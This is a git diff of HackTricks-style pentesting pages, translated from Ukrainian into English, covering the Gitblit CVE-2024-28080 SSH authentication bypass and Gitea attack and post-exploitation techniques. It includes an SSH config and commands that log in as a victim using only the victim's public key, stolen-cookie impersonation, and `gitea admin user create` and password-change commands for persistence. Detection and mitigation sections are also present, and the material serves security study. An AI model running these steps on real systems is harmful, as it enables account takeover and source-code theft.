{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,100 +2,104 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Коротко
|
||||
## Summary
|
||||
|
||||
CVE-2024-28080 — це обхід аутентифікації в вбудованому SSH сервісі Gitblit через некоректну обробку стану сесії при інтеграції з Apache MINA SSHD. Якщо обліковий запис користувача має щонайменше один зареєстрований SSH public key, нападник, який знає username і будь-який з public keys цього користувача, може автентифікуватись без private key і без password.
|
||||
CVE-2024-28080 is an authentication bypass in Gitblit’s embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that user’s public keys can authenticate without the private key and without the password.
|
||||
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Вимоги для експлуатації:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
|
||||
## Причина (state leaks between SSH methods)
|
||||
## Root cause (state leaks between SSH methods)
|
||||
|
||||
Відповідно до RFC 4252, public‑key authentication проходить у дві фази: сервер спочатку перевіряє, чи є наданий public key прийнятним для username, і лише після challenge/response із підписом автентифікує користувача. У MINA SSHD PublickeyAuthenticator викликається двічі: при перевірці acceptability ключа (ще без підпису) і пізніше, коли клієнт повертає підпис.
|
||||
In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
|
||||
|
||||
PublickeyAuthenticator Gitblit змінював контекст сесії під час першого, до‑підписного виклику, прив'язуючи аутентифікований UserModel до сесії і повертаючи true ("key acceptable"). Коли пізніше аутентифікація падала до password, PasswordAuthenticator довіряв зміненому стану сесії і коротко замикало процес, повертаючи true без перевірки password. В результаті будь‑який пароль (включно з пустим) приймався після попереднього public‑key "acceptance" для того ж користувача.
|
||||
Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user.
|
||||
|
||||
Високорівневий неправильний сценарій:
|
||||
High‑level flawed flow:
|
||||
|
||||
1) Клієнт пропонує username + public key (ще немає підпису)
|
||||
2) Сервер розпізнає ключ як належний користувачу і передчасно прив'язує користувача до сесії, повертає true ("acceptable")
|
||||
3) Клієнт не може підписати (немає private key), тож аутентифікація переходить на password
|
||||
4) Password auth бачить, що в сесії вже є user, і безумовно повертає success
|
||||
1) Client offers username + public key (no signature yet)
|
||||
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
|
||||
3) Client cannot sign (no private key), so auth falls back to password
|
||||
4) Password auth sees a user already present in session and unconditionally returns success
|
||||
|
||||
## Покрокова експлуатація
|
||||
## Step‑by‑step exploitation
|
||||
|
||||
- Зібрати username жертви і один з її public keys:
|
||||
- GitHub експонує public keys за адресою https://github.com/<username>.keys
|
||||
- Публічні сервери часто експонують authorized_keys
|
||||
- Сконфігурувати OpenSSH так, щоб подавати лише public half, щоб генерація підпису зазнала невдачі, змушуючи fallback на password, при цьому все ще тригерячи шлях public‑key acceptance на сервері.
|
||||
- Collect a victim’s username and one of their public keys:
|
||||
- GitHub exposes public keys at https://github.com/<username>.keys
|
||||
- Public servers often expose authorized_keys
|
||||
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the public‑key acceptance path on the server.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
Підключіться й натисніть Enter на запиті пароля (або введіть будь-який рядок):
|
||||
|
||||
Connect and press Enter at the password prompt (or type any string):
|
||||
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
Аутентифікація проходить успішно, тому що попередня public‑key фаза змінила стан сесії на автентифікованого користувача, а password auth помилково довіряється цьому стану.
|
||||
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
|
||||
## Вплив
|
||||
## Impact
|
||||
|
||||
- Повне видавання себе за будь‑якого користувача Gitblit, який має принаймні один зареєстрований SSH public key
|
||||
- Доступ на читання/запис до репозиторіїв відповідно до прав жертви (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Можливий адміністративний вплив при націленні на admin user
|
||||
- Чисто мережевий експлойт; не вимагає brute force або приватного ключа
|
||||
- Full impersonation of any Gitblit user with at least one registered SSH public key
|
||||
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potential administrative impact if targeting an admin user
|
||||
- Pure network exploit; no brute force or private key required
|
||||
|
||||
## Ідеї для виявлення
|
||||
## Detection ideas
|
||||
|
||||
- Переглянути SSH логи на предмет послідовностей, де спроба publickey супроводжується успішною password автентифікацією з порожнім або дуже коротким password
|
||||
- Шукати потоки: publickey method, що пропонує unsupported/mismatched key material, а потім відбувається миттєвий password успіх для того ж username
|
||||
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
|
||||
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
|
||||
|
||||
## Міри пом'якшення
|
||||
## Mitigations
|
||||
|
||||
- Оновіть до Gitblit v1.10.0+
|
||||
- Поки оновлення не відбулося:
|
||||
- Вимкнути Git over SSH на Gitblit, або
|
||||
- Обмежити мережевий доступ до SSH service, та
|
||||
- Моніторити підозрілі шаблони, описані вище
|
||||
- Провести ротацію облікових даних уражених користувачів у разі підозри на компрометацію
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
|
||||
## Загальне: зловживання SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Шаблон: Якщо public‑key authenticator сервера змінює user/session state під час pre‑signature "key acceptable" фази, і інші authenticators (наприклад, password) довіряють цьому стану, можна обійти автентифікацію шляхом:
|
||||
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
|
||||
|
||||
- Представлення легітимного public key для цільового користувача (без private key)
|
||||
- Примусити client провалити підписування, щоб сервер переключився на password
|
||||
- Надання будь‑якого password, поки password authenticator short‑circuits на leaked state
|
||||
- Presenting a legitimate public key for the target user (no private key)
|
||||
- Forcing the client to fail signing so the server falls back to password
|
||||
- Supplying any password while the password authenticator short‑circuits on leaked state
|
||||
|
||||
Практичні поради:
|
||||
Practical tips:
|
||||
|
||||
- Public key harvesting at scale: витягувати public keys з загальних джерел, таких як https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): вкажіть IdentityFile лише на .pub, встановіть IdentitiesOnly yes, збережіть PreferredAuthentications так, щоб включити publickey потім password
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) не повинна прикріплювати user/session state до тих пір, поки post‑signature verification path не підтвердить підпис
|
||||
- PasswordAuthenticator.authenticate(...) не повинна робити висновок про успіх, виходячи з будь‑якого стану, зміненого під час попереднього неповного методу автентифікації
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
|
||||
Пов'язані протокольні/дизайнерські нотатки та література:
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
- Історичні обговорення щодо early acceptance oracles та auth races, наприклад, суперечки навколо поведінки OpenSSH у контексті CVE‑2016‑20012
|
||||
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
|
||||
- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
|
||||
|
||||
@@ -2,129 +2,140 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке Gitea
|
||||
## What is Gitea
|
||||
|
||||
**Gitea** - це **самостійно хостинговане, кероване спільнотою легке рішення для хостингу коду**, написане на Go.
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
|
||||
.png>)
|
||||
|
||||
### Основна інформація
|
||||
### Basic Information
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Лабораторія
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
|
||||
Щоб запустити екземпляр Gitea локально, ви можете просто запустити контейнер docker:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
Підключіться до порту 3000, щоб отримати доступ до веб-сторінки.
|
||||
|
||||
Ви також можете запустити його з kubernetes:
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## Неавтентифіковане перерахування
|
||||
|
||||
- Публічні репозиторії: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Зареєстровані користувачі: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Зареєстровані організації: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
Зверніть увагу, що за **замовчуванням Gitea дозволяє новим користувачам реєструватися**. Це не надасть особливо цікавого доступу новим користувачам до репозиторіїв інших організацій/користувачів, але **увійшовший користувач** може мати можливість **переглядати більше репозиторіїв або організацій**.
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
## Внутрішня експлуатація
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
|
||||
Для цього сценарію ми будемо припускати, що ви отримали доступ до облікового запису github.
|
||||
## Internal Exploitation
|
||||
|
||||
### З обліковими даними користувача/веб-кукі
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
Якщо ви якимось чином вже маєте облікові дані для користувача всередині організації (або ви вкрали кукі сесії), ви можете **просто увійти** і перевірити, які **дозволи у вас є** на які **репозиторії,** в **яких командах** ви знаходитесь, **перелічити інших користувачів** і **як захищені репозиторії.**
|
||||
### With User Credentials/Web Cookie
|
||||
|
||||
Зверніть увагу, що **може використовуватися 2FA**, тому ви зможете отримати доступ до цієї інформації лише якщо зможете також **пройти цю перевірку**.
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що якщо вам **вдасться вкрасти кукі `i_like_gitea`** (в даний час налаштовані з SameSite: Lax), ви можете **повністю видати себе за користувача** без необхідності в облікових даних або 2FA.
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
|
||||
### З SSH-ключем користувача
|
||||
### With User SSH Key
|
||||
|
||||
Gitea дозволяє **користувачам** встановлювати **SSH-ключі**, які будуть використовуватися як **метод автентифікації для розгортання коду** від їх імені (2FA не застосовується).
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
З цим ключем ви можете виконувати **зміни в репозиторіях, де у користувача є певні привілеї**, однак ви не можете використовувати його для доступу до gitea api для перерахування середовища. Однак ви можете **перерахувати локальні налаштування**, щоб отримати інформацію про репозиторії та користувача, до яких у вас є доступ:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Якщо користувач налаштував своє ім'я користувача як своє gitea ім'я користувача, ви можете отримати доступ до **публічних ключів, які він налаштував** у своєму обліковому записі за адресою _https://github.com/\<gitea_username>.keys_, ви можете перевірити це, щоб підтвердити, що приватний ключ, який ви знайшли, може бути використаний.
|
||||
|
||||
**SSH ключі** також можуть бути налаштовані в репозиторіях як **ключі розгортання**. Будь-хто, хто має доступ до цього ключа, зможе **запускати проекти з репозиторію**. Зазвичай на сервері з різними ключами розгортання локальний файл **`~/.ssh/config`** надасть вам інформацію про те, до якого ключа це відноситься.
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
#### GPG ключі
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
Як пояснено [**тут**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), іноді потрібно підписувати коміти, інакше вас можуть виявити.
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
Перевірте локально, чи має поточний користувач будь-який ключ за допомогою:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### З токеном користувача
|
||||
|
||||
Для введення про [**Токени користувача перевірте основну інформацію**](basic-gitea-information.md#personal-access-tokens).
|
||||
### With User Token
|
||||
|
||||
Токен користувача може бути використаний **замість пароля** для **автентифікації** на сервері Gitea [**через API**](https://try.gitea.io/api/swagger#/). він матиме **повний доступ** до користувача.
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
### З Oauth додатком
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
|
||||
Для введення про [**Додатки Gitea Oauth перевірте основну інформацію**](./#with-oauth-application).
|
||||
### With Oauth Application
|
||||
|
||||
Зловмисник може створити **шкідливий Oauth додаток** для доступу до привілейованих даних/дій користувачів, які, ймовірно, приймуть їх як частину фішингової кампанії.
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
|
||||
|
||||
Як пояснено в основній інформації, додаток матиме **повний доступ до облікового запису користувача**.
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
### Обхід захисту гілок
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
|
||||
У Github ми маємо **github actions**, які за замовчуванням отримують **токен з правами на запис** над репозиторієм, який може бути використаний для **обходу захисту гілок**. У цьому випадку **це не існує**, тому обходи більш обмежені. Але давайте подивимося, що можна зробити:
|
||||
### Branch Protection Bypass
|
||||
|
||||
- **Увімкнути Push**: Якщо будь-хто з правами на запис може пушити в гілку, просто пуште в неї.
|
||||
- **Білий список обмежених пушів**: Теж саме, якщо ви є частиною цього списку, пуште в гілку.
|
||||
- **Увімкнути білий список злиттів**: Якщо є білий список злиттів, ви повинні бути в ньому.
|
||||
- **Вимагати схвалення більше ніж 0**: Тоді... вам потрібно скомпрометувати іншого користувача.
|
||||
- **Обмежити схвалення для білих списків**: Якщо тільки користувачі з білого списку можуть схвалювати... вам потрібно скомпрометувати іншого користувача, який є в цьому списку.
|
||||
- **Скасувати застарілі схвалення**: Якщо схвалення не видаляються з новими комітами, ви можете захопити вже схвалений PR, щоб ввести свій код і злити PR.
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
|
||||
Зверніть увагу, що **якщо ви є адміністратором організації/репозиторію**, ви можете обійти захист.
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
|
||||
### Перерахувати вебхуки
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
|
||||
**Вебхуки** здатні **надсилати специфічну інформацію gitea в деякі місця**. Ви можете бути в змозі **використати цю комунікацію**.\
|
||||
Однак зазвичай у **вебхуку** встановлюється **секрет**, який ви **не можете отримати**, що **запобігає** зовнішнім користувачам, які знають URL вебхука, але не секрет, **використовувати цей вебхук**.\
|
||||
Але в деяких випадках люди замість того, щоб встановити **секрет** на своє місце, **встановлюють його в URL** як параметр, тому **перевірка URL** може дозволити вам **знайти секрети** та інші місця, які ви могли б далі експлуатувати.
|
||||
### Enumerate Webhooks
|
||||
|
||||
Вебхуки можуть бути встановлені на **рівні репозиторію та організації**.
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
|
||||
## Постексплуатація
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
|
||||
### Всередині сервера
|
||||
## Post Exploitation
|
||||
|
||||
Якщо вам вдалося потрапити всередину сервера, де працює gitea, вам слід шукати файл конфігурації gitea. За замовчуванням він знаходиться за адресою `/data/gitea/conf/app.ini`.
|
||||
### Inside the server
|
||||
|
||||
У цьому файлі ви можете знайти **ключі** та **паролі**.
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
|
||||
У шляху gitea (за замовчуванням: /data/gitea) ви також можете знайти цікаву інформацію, таку як:
|
||||
In this file you can find **keys** and **passwords**.
|
||||
|
||||
- **sqlite** БД: Якщо gitea не використовує зовнішню БД, вона використовуватиме sqlite БД.
|
||||
- **сесії** в папці сесій: Виконавши `cat sessions/*/*/*`, ви можете побачити імена користувачів, які увійшли в систему (gitea також може зберігати сесії в БД).
|
||||
- **jwt приватний ключ** в папці jwt.
|
||||
- Більше **чутливої інформації** може бути знайдено в цій папці.
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
|
||||
Якщо ви всередині сервера, ви також можете **використовувати двійковий файл `gitea`** для доступу/модифікації інформації:
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
- More **sensitive information** could be found in this folder
|
||||
|
||||
- `gitea dump` виведе gitea і створить .zip файл.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` згенерує токен вказаного типу (постійність).
|
||||
- `gitea admin user change-password --username admin --password newpassword` змінить пароль.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` створить нового адміністратора та отримає токен доступу.
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,103 +1,106 @@
|
||||
# Основна інформація про Gitea
|
||||
# Basic Gitea Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна структура
|
||||
## Basic Structure
|
||||
|
||||
Основна структура середовища Gitea полягає в групуванні репозиторіїв за **організаціями**, кожна з яких може містити **кілька репозиторіїв** та **кілька команд**. Однак, зверніть увагу, що, як і в GitHub, користувачі можуть мати репозиторії поза організацією.
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
|
||||
Більше того, **користувач** може бути **членом** **різних організацій**. У межах організації користувач може мати **різні дозволи на кожен репозиторій**.
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
|
||||
Користувач також може бути **частиною різних команд** з різними дозволами на різні репозиторії.
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
|
||||
І нарешті, **репозиторії можуть мати спеціальні механізми захисту**.
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## Дозволи
|
||||
## Permissions
|
||||
|
||||
### Організації
|
||||
### Organizations
|
||||
|
||||
Коли **організація створюється**, команда під назвою **Власники** є **створеною**, і користувач потрапляє до неї. Ця команда надасть **адміністративний доступ** до **організації**, ці **дозволи** та **назва** команди **не можуть бути змінені**.
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
|
||||
**Адміністратори організації** (власники) можуть вибрати **видимість** організації:
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
|
||||
- Публічна
|
||||
- Обмежена (тільки для авторизованих користувачів)
|
||||
- Приватна (тільки для членів)
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
|
||||
**Адміністратори організації** також можуть вказати, чи можуть **адміністратори репозиторіїв** **додавати або видаляти доступ** для команд. Вони також можуть вказати максимальну кількість репозиторіїв.
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
|
||||
При створенні нової команди вибираються кілька важливих налаштувань:
|
||||
When creating a new team, several important settings are selected:
|
||||
|
||||
- Вказується, до яких **репозиторіїв організації члени команди зможуть отримати доступ**: конкретні репозиторії (репозиторії, до яких додана команда) або всі.
|
||||
- Також вказується, **чи можуть члени створювати нові репозиторії** (творець отримає адміністративний доступ до нього).
|
||||
- **Дозволи**, які **матимуть** **члени** репозиторію:
|
||||
- **Адміністративний** доступ
|
||||
- **Специфічний** доступ:
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
|
||||
.png>)
|
||||
|
||||
### Команди та користувачі
|
||||
### Teams & Users
|
||||
|
||||
У репозиторії **адміністратор організації** та **адміністратори репозиторіїв** (якщо це дозволено організацією) можуть **керувати ролями**, наданими співпрацівникам (іншим користувачам) та командам. Є **3** можливі **ролі**:
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
|
||||
- Адміністратор
|
||||
- Запис
|
||||
- Читання
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
|
||||
## Аутентифікація Gitea
|
||||
## Gitea Authentication
|
||||
|
||||
### Веб-доступ
|
||||
### Web Access
|
||||
|
||||
Використовуючи **ім'я користувача + пароль** і потенційно (і рекомендовано) 2FA.
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
|
||||
### **SSH ключі**
|
||||
### **SSH Keys**
|
||||
|
||||
Ви можете налаштувати свій обліковий запис з одним або кількома публічними ключами, що дозволяє відповідному **приватному ключу виконувати дії від вашого імені.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG ключі**
|
||||
#### **GPG Keys**
|
||||
|
||||
Ви **не можете видавати себе за користувача з цими ключами**, але якщо ви їх не використовуєте, може бути можливим, що ви **будете виявлені за відправку комітів без підпису**.
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
|
||||
### **Особисті токени доступу**
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Ви можете згенерувати особистий токен доступу, щоб **надати додатку доступ до вашого облікового запису**. Особистий токен доступу надає повний доступ до вашого облікового запису: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Додатки Oauth
|
||||
### Oauth Applications
|
||||
|
||||
Так само, як і особисті токени доступу, **додатки Oauth** матимуть **повний доступ** до вашого облікового запису та місць, до яких має доступ ваш обліковий запис, оскільки, як зазначено в [документації](https://docs.gitea.io/en-us/oauth2-provider/#scopes), області ще не підтримуються:
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
|
||||
.png>)
|
||||
|
||||
### Ключі для розгортання
|
||||
### Deploy keys
|
||||
|
||||
Ключі для розгортання можуть мати доступ лише для читання або запису до репозиторію, тому вони можуть бути цікавими для компрометації конкретних репозиторіїв.
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
|
||||
## Захист гілок
|
||||
## Branch Protections
|
||||
|
||||
Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як можна буде писати код у деяку гілку**.
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
**Захист гілок репозиторію** можна знайти за адресою _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> **Неможливо встановити захист гілки на рівні організації**. Тому всі вони повинні бути оголошені в кожному репозиторії.
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
|
||||
Різні захисти можуть бути застосовані до гілки (наприклад, до master):
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- **Вимкнути Push**: Ніхто не може відправити дані в цю гілку
|
||||
- **Увімкнути Push**: Будь-хто з доступом може відправити дані, але не може примусово відправити.
|
||||
- **Список дозволених обмежених Push**: Тільки вибрані користувачі/команди можуть відправити дані в цю гілку (але без примусового відправлення)
|
||||
